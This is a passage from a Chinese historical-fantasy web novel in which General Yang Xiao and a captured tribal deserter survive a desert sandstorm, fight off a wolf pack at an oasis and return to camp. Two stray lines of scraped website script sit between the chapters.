没想到那阿都苏力倒是还有几分骨气,只见他梗着脖子回道:“我就知道这件事迟早会有人问的,只是没想到会这么快。这位将军,虽然不知道你是谁,但我要说不是我们干的你信吗?” 他身后的族人这时也叫道。:“对,不是我们干的……我们没有杀过一个人……我们还救了一个人……对,就是那个给我们挑水做饭的人……。” 杨笑道:“是不是你干的你都逃脱不了干系。我问的是谁是主使之人。” 不等阿都苏力回答,他身后的族人们就又叫嚷道:“这位大人真不是我们干的……对,我们没杀人,我们还救了一个人……都是特玛部落的人干的,跟我们没关系……。” 阿都苏力耸耸肩:“你都听到了。” “特玛部落?”杨晓问道。:“特玛哈诺吗?” “确切的说,是他的父亲。特玛真镶。”阿都苏力回道:“而我们……确实没杀人,而且还救了一个人。” 这是,一名西梁骑卒嘲讽道:“嗯,说的你们这帮疯狗们好像不全是猪狗不如的畜生似的。” 藩族人立刻回道:“我们没有杀人……那都是特玛部落的人干的……他们都是一群魔鬼……我们跟他们不一样。” 那名西梁骑卒也立刻回道:“在望山城里没杀人,在别处总杀了吧?” 这一下藩族人全都不说话了。或许他们真的没有在望山城里杀人,但两军交战的战场上,又有几个人的手上没有沾血呢? 杨笑冷笑道:“怎么,一个个全都哑巴了?我告诉你们,从你们踏上我西梁土地的那一刻,你们就该想到会有今天。全部带走!” ……。 冬天的夜晚总是来的那么快。杨笑等人押着俘虏们往回走了没多大一会儿天就黑了下来。失去了阳光的温暖,沙漠里的气温很快就冷了下来。好在天黑前大家已经收集了一些枯草和干柴,只是在这寸草难生的沙漠里能够用来烧火的柴草实在是少的可怜,大家收集来的柴草也只够把随身携带的干粮热了一下后就烧完了。 趁着将士们生火热饭的时间,杨笑从阿都苏力和他族人的口中得知了望山城惨案的大致经过。 原来,特玛哈诺在贡州城外被杨笑打败后,便一路逃到了望山城,第二天就在望山城里伤重而亡了。特玛哈诺的父亲特妈真镶,为了给儿子报仇便要点起大军迎战杨笑。但接下来杨笑连破数城的战绩让特妈真镶意识到这支西梁军可不是一般的西梁军,自己很可能不是其对手。眼看为儿子报仇无望,自己的退路也有可能不保,特妈真镶就把怒火发泄到了望山府无辜百姓头的上。而阿都苏力及他的族人因为比较排斥打仗,所以自从来到西梁后,就一直都在打酱油混日子,直到受命运输物资来到望山城,不想恰巧碰上特玛真镶下令屠城。他们觉得这么做实在是太残忍了,不愿意执行特玛真镶的命令,可又不敢公然抗命,于是就偷偷的溜出望山城当了逃兵。出城前还把一个为他们做杂役的西梁人藏进了菜窖,并叮嘱他无论发生什么都不要出去。 “……我们因为都做了逃兵,害怕回到部落后会受到惩罚,更害怕会落到你们的手里,所以就想要往北走,在狄戎族的草原上从此隐姓埋名,也好过一段安稳日子。没想到最后还是落在了你们的手里。” 杨笑疑惑道:“去狄戎族的草原?你们就不怕狄戎族人会把你们抓起来送回去吗?” 阿都苏力回答道:“只要我们低调一点,就不会引起别人的注意。再说了,草原那么大,哪会那么巧就碰到认识我们的人?” “好像有那么一点道理。那你们是怎么到了沙漠里面的?”杨笑问。 阿都苏力梗着脖子:“我们……我们……。”他叫了几声后,又像个泄了气的皮球似的说道:“我们走错路了。” 杨笑故意问道:“走错路了,又不敢往回走,还跟别的族人闹了矛盾,就硬着头皮走到了这儿?” 阿都苏力垂头丧气,没好气的回了一声:“对。” 简单的了解后,晚饭也热好了。 行军打仗在外,风餐露宿,吃苦受罪自然是少不了的,所谓的晚饭,只不过是把水烧热后,将随身携带的炒面丢几把和进去,再啃一块干粮罢了。有时候能就上几口腌菜已算是改善一顿了,至于肉类、新鲜蔬菜什么的,那就有些奢望了,只怕是一年也碰不到几回。不过好在饭虽然粗陋简单,但是管饱。 沙漠里的一天中温差很大,一昼一夜之间就像身处两个季节般截然不同。冬日里的沙漠尤其明显。白天,在太阳的炙烤下,沙子被晒的热乎乎的,正午前后,都有些想要出汗的感觉。而到了夜里,却是刺骨的冰冷,寒风就像刀子一样把人的脸割的生疼。吃过饭后,大家都在背风的地方挤在一起,好抵御这份寒冷。 夜深后,除了放哨的士卒外,几乎所有的人都已进入了梦乡。 杨笑却有些睡不着觉了。因为修为在身的原因,他并没有感觉到沙漠里的夜有多冷,只是把元气在周身经脉中行走一圈后那份冷意就不见了。他倒在沙子上,枕着双手,看着满天的繁星,脑子里面胡思乱想着。 一会儿想着接下来的仗该怎么打,一会儿又想起了家。想到了姐姐这段时间一定忙坏了,上次见她人都憔悴了一些,倒是纯灵那个小丫头,整天无忧无虑的,还吃胖了一圈……一会儿,又想起了孟云羲。也不知道她现在在哪里,这些年过得好不好?怎么找了几年就是找不到她呢?按道理说,他爹中了功名,在朝廷的吏部里是要挂名的,应该不难找到才对啊?……一会儿又想到了五公主。从最开始的初次见面,到后来的夫妻恩爱,再到……。想到这里,杨笑就觉得老天爷真是不公,为什么要让身边的至亲一个个的离开自己?接着就又想到了父母,不知道他们在天上能不能看到自己。“爹,娘,您二老在天上看着,我一定会手刃仇人,为二老报仇雪恨的。”想到这儿,就想到了陛下在关内准备的应该差不多了吧?然后就又想到了接下来的仗该怎么打上面来了。 正在杨笑胡思乱想的时候,不经意间看到值夜放哨的士卒正从沙丘上面跑下来。杨笑便坐起来问道:“怎么了?发生了什么事?” 那士卒单膝跪倒在杨笑面前,回道:“回将军。那边有一道黑色的影子一直通到了天上,不知道是什么。” “嗯?”杨笑疑惑一声,赶忙爬到沙丘上顺着士卒手指的方向往远处看去。只见天边处一道黑色的影子接天连地,就像一度无边无际的墙壁一般,正缓缓的往这边靠近。 杨笑在沙漠里的经历比较少,他也弄不清楚这是怎么回事。就对那士卒说道:“你去叫几个对沙漠比较熟悉的人上来看看这到底是怎么回事。” 那士卒依言离去。不一会,就领了几个军中老卒来到杨笑的身边。几个老卒往杨笑所指的方向张望了一下后大惊道:“沙暴,是沙暴!” 沙暴是沙漠戈壁里的一种少见的风暴。虽然少见,但它每一次出现都会带来可怕的灾难,是沙漠里最恐怖、吃人最多的灾难,其所过之处,寸草不留,生灵尽灭。古人对其有“风从西北来,折木飞沙走石,半月始息”的记载。但沙暴一般都出现在春夏之际,冬天里的沙暴却是闻所未闻。 “沙暴怎么会出现在这个时候?”有人惊疑道。 “现在不是考虑这种事的时候,赶紧想办法躲避才是最要紧的。” 几个人于是连忙跑下沙丘,将众人全都叫起来,开始利用身边的物品来制作庇护所。 那沙暴看似移动缓慢,实则迅疾无比,还不等众人做好准备就已经到了跟前。所有人都惊慌失措的抬头望去。遮天蔽月的沙暴就像一堵一眼望不到顶的高墙扑面而来,还不等众人看清它的样子,就裹挟着令人窒息的黄沙尘土,伴随着呼呼作响的大风,倒在了众人的头顶上。 一时间,众人的嘴里、眼里、鼻子里、嗓子里,全都是呛人的沙土味儿。所有人都趴在地上,让身体尽量贴紧地面,想尽一切办法紧紧的捂住口鼻,都在心里祈祷着这可怕的风暴能尽快结束。 就在这时,杨笑忽然察觉到有人从自己的身边跑了过去。等他眯起眼睛看时,那人已经跑到了几步开外,就要隐没在这黑色的沙暴里。定睛看时,才发现那人竟是阿都苏力。杨笑不假思索,立刻跳起来追了过去。发现杨笑的动静后,几个西梁军想要叫住他,让他不要去追,可才一张嘴,就被灌了满嗓子的沙子,根本叫不出声。只能眼睁睁的看着杨笑和那人一起扑倒在沙地上抱在一起,然后就被风吹的在地上像个皮球一样,连翻了几番后就没了踪影。 …… 好在这次的沙暴持续的时间并不长,大约三四天后,便渐渐的平息了下来。风沙过后,是万里无云的晴空,空气都比平时通透了许多,天也显得更蓝了,就连阳光都更耀眼了几分。晴空之下,除了一望无际的沙海,就只剩下呼呼作响的风声了。 阳光虽然十分耀眼,却已经失去了往日的温暖。穿梭在沙丘之间的风,也更带上了几分寒意。呼啸的寒风裹挟着沙粒,蹦蹦跳跳的爬上了高大的沙丘,然后又从沙丘上咕碌碌的滚了下去。 一只灰蜥蜴正伸展肢体趴在沙子上,用阳光温暖着自己。这是一只在沙漠里比较常见的蜥蜴。这个季节的蜥蜴本来是该冬眠的,不知道这只灰蜥蜴为什么这个时候还会跑出来。可能是他的巢穴在沙漠里被毁掉了,才不得不出来重新寻找过冬之处吧。 就在蜥蜴晒饱了阳光,想要重新选个地方过冬的时候。突然,它身子下面的沙子一下鼓了起来,吓的这只蜥蜴一溜烟儿的就跑没影了。 从沙子下面伸出来的是一只人手。 粗糙的大手上满是老茧。大手挣扎几下后,带出了后面的手臂。那条手臂上披着甲胄,似乎是一个行伍之人的手臂,紧接着手臂撑在沙地上,用力一挣。一阵沙土翻动后,一名西梁士卒从沙子里爬了出来。 那士卒从沙子里爬出来后,坐在地上用力的喘了几口气,干冷的空气刺激的他不停的咳嗽了起来。平稳了一下呼吸后。他用力的甩了甩头,又抹拉了几下脸,把脸上的沙子抹拉下来后,他睁开眼睛看向四周。 不等他看清周围的环境,刺眼的阳光就让他忍不住的流下几滴眼泪来。从双眼传来的刺痛感让他的神志恢复了许多,原本呆滞的面孔也有了几分神采。等他再次睁开眼睛时,才看清,周围已经完全变了模样。袍泽们不知去向,马匹也全都不见了,沙暴来临前匆忙搭起来的帐篷也不见了。 他猛地站起身来,发疯似的到处挖着沙子,嘴里不停的叫着同伴的名字。这时,在他身边不远处有一片沙子鼓动了一下,他见到后立刻冲过去拼命的挖了起来。很快,一个人身体的一部分就露了出来。从衣着甲胄上看,应该是自己的同伴之一。他又用力的挖了几下,终于把同伴救了出来。 接着,两个人又合力寻找其他的同伴。但这次挖出来的是一个藩族俘虏,两个人一看不是自己的袍泽,气的甩了那俘虏一个大嘴巴子,然后把他丢在一边,就又去找自己的袍泽去了。 最后,又找到了四名袍泽,外加一个俘虏。 五百多轻骑,两百多多俘虏。七八百人,一场沙暴下来,就只剩下了他们八个人了。最重要的是还弄丢了一军主帅,这下子要怎么交代?几个人陷入了深深的绝望中。 其中一个士卒在懊恼中就要把怒气撒在那两个俘虏的身上。身旁的袍泽却拉住他劝道:“你省点力气吧,咱们还要走出这片沙漠呢。再说,他们两个可是见证,要不然咱们回去后该怎么向上头交代?” 那士卒听后,也只得作罢。 几个人休息一阵后,便起身向沙漠外走去。 …… 阿都苏力缓缓的睁开了眼睛。他抬起一只手臂遮住刺眼的阳光,看了看天空,又扭头看向一边。沙子,无边无际的沙子。 “看来我还活着。”他在心里这样想着。 这时,一阵酸痛的感觉从全身各处袭来,他不由自主的轻哼了一声。 “你醒了?”一个声音传了过来。 阿都苏力扭头看向另一边。那个抓住自己的西梁将军正盘膝坐在不远处。还不等他说话,一个水囊就抛了过来。 “先喝口水吧。”杨笑冷漠的说道。 阿都苏力这才感觉到口渴难耐,嗓子里似乎有火在烧一般。他抓起水袋猛灌一口,可嗓子里传来的剧痛一下子就把他给噎住了。他用力的咽了几下,这才缓了过来。接着阿都苏力又喝了几口水,嗓子里火烧火燎的感觉才好了些。 “你最好省着点喝。咱们还不知道什么时候才能走出这片沙漠呢?” 听到杨笑的话后,阿都苏力看着水囊犹豫了一下,又喝了一小口后,才把水囊收了起来。看来她是真的渴坏了。 “你为什么非要抓我不可?”阿都苏力问道。 杨笑瞥了他一眼。:“因为我要用你堂堂正正的为望山府的百姓报仇。” “就为了这个你就甘愿冒着死在沙暴里的风险也要抓我?知道这件事的可不止我一个。”阿都苏力开始觉得眼前这个家伙的脑袋是不是有病了? 杨笑并不理会阿都苏力的表情和眼神,他只是淡淡道:“问题是,目前我只知道你一个。” 阿都苏力真是无语了,他已经能够确定这个家伙的脑子有病了。如果让他知道杨笑醒来后的第一件事就是捂着脸懊恼羞愧的说着:“哎!又丢了。”的话会是什么表情。 过了一会儿后,杨笑问道:“你休息好了没有?我们该走了。”说着就站了起来。 阿都苏力也从地上爬了起来。跟在杨笑的后面,一步一步的向沙漠外走去。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百四十六回 夜战群狼 在沙漠里徒步不比平地上,每走一步都想退半步,爬沙丘的时候更是恨不得走一步退两步了。不过下坡的时候就爽多了,走一步能赶上三四步的距离。 一开始阿都苏力还能勉强跟上杨笑的脚步,但已经三四天没吃没喝的他实在是没多少力气赶路了,走了小半天的功夫后,就有点儿跟不上杨笑的脚步了。本来还想停下来休息一下的,可他又害怕跟不上的话,自己一个人会很快死在这茫茫的沙漠中。他一边努力的跟上杨笑的脚步,一边祈求道:“大人,大人,要不咱们歇一会儿吧?我实在是走不动了。” 人就是这样,不到真正直面死亡的那一刻,永远不知道自己到底有多少骨气。 杨笑一开始并不理会他,直到阿都苏力求了好几次后才停下来等了他一会儿。阿都苏力追上杨笑坐在他的脚边喘了几口气,等气息平复一些后,就拿出水囊小心依依的喝了两小口。在沙漠里,水就是最宝贵的东西,他还要指着这点水走出这片沙漠呢,可舍不得随随便便的几口就喝完,更舍不得浪费一星半点儿。 喝过了水,阿都苏力仰着头问道:“还不知道大人您怎么称呼呢?” “杨笑。” 淡淡的两个字,简单明了。 “杨笑!?”阿都苏力惊讶道:“你就是那个骑老虎的杨笑?” 杨笑低头瞟了眼他惊讶的表情:“怎么,你也知道我?” “哎呦喂!我的大人呐。”阿都苏力叫道:“现在雪藩族和狄戎族有哪个人没听过您的大名呢?简直如雷贯耳呀!” 对于阿都苏力的话杨笑只是轻哼一声了事。 阿都苏力又问道:“大人,你们西梁人是怎么想的,竟然派您这么大的一个人物你出来,就为了抓我这条小咸鱼吗?” 杨笑手扶刀柄目视前方:“没有人派,是我自己要来抓你的。” “为什么呢?”阿都苏力想不明白。 “为了望山府三十万百姓的冤魂。” 阿都苏力真是无语极了,他腹诽道:“有那么重要吗?就算是为了那些死人,也不至于让一军统帅亲自来抓我吧?尤其还是这个家伙。妈的,有病!真是脑子有病!已经没救了。” 阿都苏力现在无比的确认这一点。 阿都苏力正在心里这样想着,突然就听到杨笑问道:“歇够了就又有骨气了?” 阿都苏力被杨笑这冷不丁的一问给吓了一跳。心道:“我x(一种植物)!难不成这家伙知道我在想什么?”心里这么想,但嘴上却连连说着:“没有没有……大人说笑了。” “歇够了那就接着赶路吧。”杨笑说罢抬腿就走,阿都苏力也连忙爬起来追了上去。 …… 两个人一连走了两天,也没见到有半点走出沙漠的迹象,仅有的一点水,也早在昨天就已经喝完了。杨笑因为有修为在身,虽然觉得也有一点口渴,但感觉还好。可阿都苏力就不行了,走路都开始摇摇晃晃的了。 “大人,咱们一开始……好像……也没往……沙漠里走多远吧?怎么走了好几天了,也不见走出……这该死的鬼地方呀?”阿都苏力舔着干裂的嘴唇,一句一顿的问着。 杨笑回道:“我也不知道。可能是沙暴把咱们给吹到沙漠的深处了吧?” 阿都苏力又问道:“咱们……不会是走……走错方向了吧?” 杨笑又回道:“我也不知道。沙漠在西面,西梁城的东边,咱们一直朝东走应该没有错。” 阿都苏力一手扶着膝盖,一手指着天上:“那咱们现在……该往……哪个方向走啊?” 杨笑抬头看着天上,也犯了难。此时,在它们的头顶上赫然有两个太阳。从早上日出开始,天空上就一左一右的同时出现了两个一模一样的太阳,一直到了正午,还是两个一模一样的太阳。杨笑也分不清到底哪个是真的,哪个是假的,亦或两个都是真的,再或者两个都是假的。所以这半天来,他也不知道自己选择的方向对不对。 杨笑看了会儿天上的太阳后,又低头说道:“我也不知道。” 阿都苏力苦着脸叫道:“哎哟!我的大人啊,你别什么都不知道哇!” “走吧,总比待在这儿等死要强。” 杨笑说罢就又抬腿接着赶路,阿都苏力也只好一步三晃的跟上。杨笑见他这个样子,于是又折返回来,一把提住他的肩膀,就这样拎着阿都苏力继续往前走。 好在天无绝人之路。在翻越了一座沙丘后,一处小小的绿洲出现在他们的视线里。在绿州里还有一道道亮光闪烁,似乎是有水的样子,二人于是加快步伐向绿州赶去。 在绿洲的中央处,竟真的有一洼水塘。水塘不大,有两三分地的样子,水也不怎么好喝,但并不妨碍饮用。就是这么个小水洼,已经让阿都苏力觉得仿佛进入了天堂一般。他趴在水塘边,拼命的往肚子里灌水,也不管是不是有沙子也被他一同喝到了嘴里。两个人喝饱水后又在四周找了些可以充饥的野果。然后,他们打算在这里休息一晚上,以便恢复一下体力。 …… 就在杨笑带着阿都苏力在沙漠里坚难跋涉的时候,仅存的六名骑卒押着仅存的两个俘虏,终于走出了戈壁。他们在戈壁滩的边缘处碰到了一支巡逻的队伍,骑卒们立刻迎上前去,大声吼道:“快去禀报,我们和杨将军在沙漠里遭遇了沙暴,杨将军不知所踪。” 很快,消息就传到了李伯通等人的营帐中。这一回李伯通不敢再擅作主张,派人寻找的同时,也亲自赶到了大皇子武恭的营帐里,向他禀报了杨笑失踪的事。武恭不等李伯通说完就一拍桌子大怒道:“你们是怎么搞的?怎么让他这个一军主帅去干这种事?为什么不拦着他?” 李伯通也知道自己在这件事上确实没有做好,也只能无力的辩解一句:“我们拦了,拦不住啊!” 武恭哪里会理李伯通的辩解,他指着帐外大声喊道:“去找!把所有的骑兵全都派出去,给我到沙漠里去找!找不到他,就不要回来了!” 李伯通答应一声,刚要回身往帐外走,武恭忽然又叫住他问道:“那只黑虎呢?他有没有带在身边?” 李伯通连忙回道:“神虎尚在营中,杨将军并未带走,说是神虎有些不太适应沙漠戈壁里的环境。” 武恭又说道:“好,好,带上那只黑虎一块儿去找他。那只黑虎从小就被他养在身边,说不定能感应到他的位置。” 李伯通却面露苦色道:“可……可……可问题是除了杨将军,没人能驾驭的了神虎呀!” 武恭听到后,急得在营帐里一边走来走去,一边摩拳擦掌,嘴里还不时的啧着舌头。忽然间,他灵光一闪有了办法:“赶紧飞鸽传书,问一下杨诰命,看他家里还有谁能亲近役使黑虎。” 李伯通连忙点头称是,说着就回头要去传信,还因为跑的太快,差点绊了个跟头。 …… 入夜时,杨笑和阿都苏力想办法生了一堆火。现在水的问题解决了,御寒的问题也解决了,但食物的问题依然困扰着两个人,那点采摘来的野果,也只能勉强垫补一下肚子,却解决不了大问题。正在两个人坐在火堆旁烤火取暖的时候。“嗷呜~~”一声狼的嚎叫声传来。那狼嚎声十分的响亮清晰,似乎就在不远处。一声狼嚎之后,接连不断的又有狼嚎声响起。看来是有狼群在附近了。 阿都苏力吓得立刻警惕了起来:“狼!是狼群。这沙漠里怎么还有狼群?” 杨笑也拄刀站了起来。 没过去多长时间,一阵阵沙沙的声响就从四周的树丛后面传了过来。很快,一双双幽绿阴森的眼睛出现在树丛里。那些绿光就像一朵朵鬼火一样,在树丛后面飘忽闪烁不定,看样子数量还不少。 阿都苏力吓得躲在杨笑身后:“大人,怎么办?这么多狼,少说有三四十头。我们是不是要死在这里了?它们会把我们啃的连骨头都不剩的。” 杨笑扭头看了他一眼:“怕你就躲到水里去,听说狼都怕水。” 阿都苏力强装镇定的嘴硬道:“怎……怎么会呢,我是嫌自己赤手空拳的杀起来不够过瘾。” 杨笑才懒得戳穿他那点小心思,伸手把自己的匕首抛给了他:“你自己小心点儿,待会儿我可顾不上你。” 那些狼在树丛后面观察了一会儿后,在狼王的嚎叫声中,便一只只的从树丛后面慢慢的走了出来。 两个人于是背靠水塘,隔着火堆与狼群对峙了起来。 狼群并没有急着发起攻击,它们在树丛边或站,或坐,或趴,或舔舐着皮毛,有几只甚至在沙地上打起了滚儿。 这时阿都苏力说道:“它们在消磨我们的耐心。” 杨笑呵了一声:“你还知道这些?” 阿都苏力不乐意道:“我好歹也是一个猎手,当然知道。” “那你还怕成这样?” “要不是饿的没有一点力气了,我怎么可能会怕?”阿都苏力问道:“大人,你怎么样?” 杨笑回道:“勉强还能应付吧。” 二人正说话间,狼群有了新的动作。 先是头狼站了起来,头狼一动,其他的狼也跟着动了起来。它们一改先前闲散慵懒的样子,一双双幽绿的眼睛紧紧的盯着杨笑二人。 狼群分别从不同的方向包围了过来,它们的配合十分的默契,一举一动都像是演练了无数遍一般,将二人的所有退路都牢牢锁死。如此娴熟默契的配合,恐怕只有最训练有素的军队才能够媲美。 阿都苏力看到狼群的动向后,不由得向后退了半步,嘴上还不忘说道:“大……大人小心,它们要开始进攻了。” 杨笑哪还用他提醒,早就已经戒备了起来。 他沉声回了阿杜苏里一句:“我知道。” 包围圈一步一步的缩小,狼群离二人也越来越近。突然,头狼猛地一跃而起,杨笑立刻做出反应举刀相迎。哪知那头狼的四只爪子刚一离地紧接着就身形一缓,又落回了地面。与此同时,杨笑二人的两侧立刻又有两三只狼扑了上来。而此时,杨笑朝前砍出去的刀还没来得及收回来。 原来只是佯攻。 杨笑的心里叫一声:“好畜生!竟然还懂得使诈。”同时,他抽身回刀顺势砍向一侧的两只狼。这时候阿都苏力也反应了过来,挥动匕首向另一侧扑来的狼刺去。 虽然阿都苏力的心里十分害怕,但他也深知,这个时候害怕是没有用的,只有拼尽全力才能有一线生机。他咬紧牙关冲了上去。 狼群之间的配合十分默契,但杨笑和阿都苏力两个人都是沙场老卒,配合起来也是不差,不用过多言语,自然而然的就知道自己该干什么。 杨笑正面抵挡,阿都苏力负责为他殿后。 杨笑手里的刀刚改变方向,诈了杨笑一记的头狼又带着两只狼扑了过来。杨笑喝一声:“好狡猾的畜生。”把手里的刀虚晃一下,逼退身边的两只狼后立刻回手一刀,向头狼和他带领的另外两只狼挥去。 那头狼的反应十分的机敏,见刀光闪动而来,立刻就把身子一沉,又落到了地面。另外两只狼的反应就慢了半拍,被杨笑一刀砍中,倒在地上,四只爪子胡乱踢踏几下便没了动静。 而那只头狼在落地后却并没有像第一次佯攻那样立刻退回去,而是把身子一窜,直扑杨笑的脚踝而来。 杨笑一个弹跳,把脚收了回来。同时,双脚变换位置间,另一只脚已经踢了出去。 头狼一扑未中,四条腿立刻在地上一蹬,卸掉杨笑这一踢之力的同时,也顺势跳到了远处。 这一边,阿都苏力挡住了另一边扑上来的一只狼。这只狼原本的目标是杨笑,结果半道上被阿都苏力挡住了。此时它身在半空,没有借力之处可以改变方向,于是就被阿都苏力一下刺在前膀上。那狼吃痛,哀嚎一声退到了一边,不过看它的样子,似乎伤的不重。 阿都苏力刺中那只狼后并不敢冒进,他又挥动匕首逼退身边的另外两只狼,然后就想要往后退到杨笑的身边。而此时,杨笑刚把腿收了回来,就有一只狼扑到了他的背上。杨笑立刻俯身一闪,把那只狼闪了个嘴啃地。此时,阿都苏力刚好退了过来,一脚就踩住了那地上只狼的爪子。 别说,这无意中的一脚踩的还挺有劲儿,疼的那只狼嗷的一声,张嘴就往阿都苏力的脚踝上咬去。阿都苏力的反应也是够快,感觉脚下一软,立刻察觉到不对劲,吓得他赶紧抬脚一跳,堪堪的躲过了这一口。 那狼一口咬空,立刻爬起来,再次扑向阿都苏力。 阿都苏力双脚落地的同时,另一只狼就跳上了他的后背。阿都苏力察觉到后颈被狼爪钳住,一下子全身上下汗毛根根倒立,头发茬子都竖了起来。避无可避之下,他索性一缩脖子一闭眼……但预想中的疼痛并没有传来。 原来是杨笑在那只狼下嘴之前一把抓住了它的尾巴,把它从阿都苏力的后背上给薅了下来。 杨笑抓着狼尾巴使劲一甩,把地上那只想要去咬阿都苏力脚踝的狼给拍了出去。接着又抡起那只狼打飞了另外两只扑过来的狼,然后才把手里的那只狼给甩了出去。那只狼落地后直接躺在地上一动不动了,也不知道是死是活。 阿都苏力被那只骑到脖子上的狼一吓,就有些愣在了原地。就是这短短的,一愣神儿的功夫,不等他回过神儿来就又有一只狼扑了上来,一下子就把他扑倒在地上。阿都苏力方一倒地,立刻就又有几只狼向他扑去,对他发起了围攻。 阿都苏力倒在地上,死死的掐住那只狼的脖子,不让它咬到自己。可防得了这只,防不住那只,围上来的狼群把他咬的哇哇乱叫。杨笑也赶忙上前去,一刀一个砍翻了几只,又一脚将压在阿都苏力身上的那只狼给踹了出去。 阿都苏力在杨笑的帮助下,好不容易才站了起来,可身上已经被咬的鲜血淋漓。本来就不太整齐的衣衫,此时更是被撕成了布条一般。要不是穿的比较厚,只怕刚才就要交代在这儿了。 而在混乱之中,杨笑也被连抓带咬了好几下。只不过他仗着修为在身,有元气护体,全身就像铜皮铁骨一般,别说被几只畜生咬几口,就是寻常人砍上一刀也不见得会出血。所以除了衣服被撕破了几道口子外,并没有受什么伤。而狼群在丢下几具尸体后,也暂时停止了攻击。 阿都苏力一边喘着粗气,一边嘴上叽里呱啦的也不知道在说些什么。不过想来也不是什么好言语。 他躲在杨笑身后,简单的查看了一下身上的情况。好在有厚厚的衣服护着,虽然看上去血糊糊的,但其实伤的不重。杨笑则持刀站在那里,一刻也没有放松警惕。 经过短暂的休息后,狼群再次对二人发起了攻击。 经过第一次的试探后,这一次的攻击更加的凶猛,杨笑有两次也差点被扑倒在地,而阿都苏力在被狼又咬了几口后就躲到了水塘里,把战场彻底的丢给了杨笑。 水塘的中心处有齐胸深的水,狼天生怕水,不会游泳,于是就放弃了阿都苏力这个猎物,把目标全都对准了杨笑。而杨笑没了阿都苏力这个拖油瓶后却是愈杀愈勇,把阿都苏力看的一副“惊呆了老铁”的表情,不由自主的冒出一句:“这家伙简直比畜生还猛。” 最后,狼群丢下十多具尸体后,在头狼的嚎叫声中终于退走了。 这一场同群狼的战斗,说起来话长,但这一切从发生到发展再到最后的结果都是很快的。那种拳拳到肉,脚脚上身,刀劈骨肉声,人的呼喝声,狼的嘶咬声和哀嚎声,从一开始到结束,只不过是转眼间的事。 一番厮杀打斗下来,杨笑也有些气喘吁吁,毕竟他也是好几天没吃没喝了。就算是有修为在身,但他离不饮不食的辟谷境界还差的远的很。所以这一次的遭遇对他来说还是十分凶险的。 杨笑生怕那些畜生会去而复返,他站在原地,观察了好一会儿周围的动静。直到确定那些畜生全都离开后,才走到已经熄灭的火堆旁,蹲在那里往火炭上加了点柴火,又对着火堆吹了几口气,把火吹着后,就坐在地上休息起来。阿都苏力见杨笑坐到了火堆旁,这才从水塘里一步一步的走了出来。 夜本来就冷,水也就跟着很凉,水面上甚至结了一层牛皮薄厚的冰凌。阿都苏力在水里被冻的瑟瑟发抖,这会儿终于能在火堆旁烤烤火,暖和一下了。 杨笑抬头扫了一眼对面的阿都苏力,说道:“冷啊?” 阿都苏力上牙打着下牙,把一个冷字说成了一串冷字。 “冷就动弹动弹。”杨笑把头一歪:“去,捡点柴火。” 阿都苏力于是把身上的衣服脱下来,拧了拧后就披在身上哆哆嗦嗦的跑去树丛里捡柴火去了。杨笑则起身把一具狼尸剥皮去脏,等阿都苏力把柴火捡回来后,就把割下来的狼肉架在火上烤了起来。阿都苏力把身上烤的暖和些后,也拿着匕首跑过去割了几块狼肉来烤。 两个人一边烤一边吃。当然,阿都苏力还一边烤着自己的衣服,真是恨不得把两只手当成四只手来使唤。过了一会儿,杨笑似是自言自语道:“这些狼为什么会出现在沙漠里呢?” 阿都苏力还以为杨笑在跟自己说话,就一边手忙脚乱的忙活着,一边回答道:“我怎么会知道?我可是头一次来沙漠。” 杨笑往嘴里丢了一块狼肉,一边嚼着,一边在嘴角挂上了几分笑意:“说不定这是一个好消息。” 阿都苏力看看自己身上的伤,再看看挂在一边被狼撕成破烂的衣服,脸色难看道:“这算哪门子好消息?”他手里的肉瞬间就不香了。 杨笑慢慢的向他分析道:“狼群通常都在草原上或者是深山老林里活动,就算是靠近沙漠,也最多在戈壁滩的边缘地带活动一下,之所以会到这里来,应该是被这片水塘吸引过来的,这说明咱们可能离沙漠的边缘不远了。” 阿都苏力听到杨笑的分析后觉得很是这么个道理,想到自己很快就能走出这片沙漠了,手里的肉就又香了起来。 两个人吃饱喝足后就躺在火堆旁休息了一晚上。 第二天,两个人多准备了一些烤熟的狼肉干,又用几只比较完整的狼皮做了几个大水囊,然后用一根棍子挑着准备好的肉干和水,重新上路了。 当然了,这份光荣的任务肯定是要落在阿都苏力的肩上的。对于自己“俘虏”的身份,阿都苏力现在是有着清醒的认识的,所以他很欣然的就接受了这份差事,还在出发前仔仔细细的看了看天上,以确定今天的天空上没有两个太阳。 两个人辨明方向一路向东,又走了两天后,终于碰上了一支寻找杨笑的队伍。这才知道,自己距离当初进入沙漠时的位置已经偏离了近千里之遥了。 被困在沙漠里这么多天,战场上的形势是否发生了什么改变?接下来的战争杨笑又该怎样应对?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百四十七回 决议霜塞城 当李伯通见到杨笑的时候,竟是一改往日老成稳重的样子,高兴的他一把拍在大腿上叫道:“哎哟喂!我的将军呀,你可算是回来了。你这是不把老哥几个吓死誓不罢休啊!咱可说好了,可不许有下回了。” 李伯通一边说着,一边和众人一起迎向杨笑。这边杨笑下马后拍了拍身上的灰,笑道:“怕什么,你们上次不是圆的挺好的吗?” “上次跟这次不一样。上次是在山里,我们顶多以为您走远了,迷路了。再说了,深山老林里顶多遇到个猛兽山匪什么的,以您的身手,又有神虎陪在身边,算是遇上了,那吃亏的也不应该是您才对吧?这次可是九死一生的沙暴啊!”李伯通哭丧着脸说道:“再说属下我已经瞒过一次了,这件事指不定哪天就要被人揪出来参上一本,到时候陛下责怪下来,属下就是长几个脑袋也担当不起呀。我是万万不敢再瞒第二次了。” 杨笑也理解他的苦衷,于是陪着笑脸,拍着他的肩膀安慰道:“放心,放心,不会有下次了。我这不是回来了吗?陛下那边我肯定会替你说情的。” 众人叙完话,将杨笑迎至大帐内。大将军升帐,各部汇报近期军情事物。 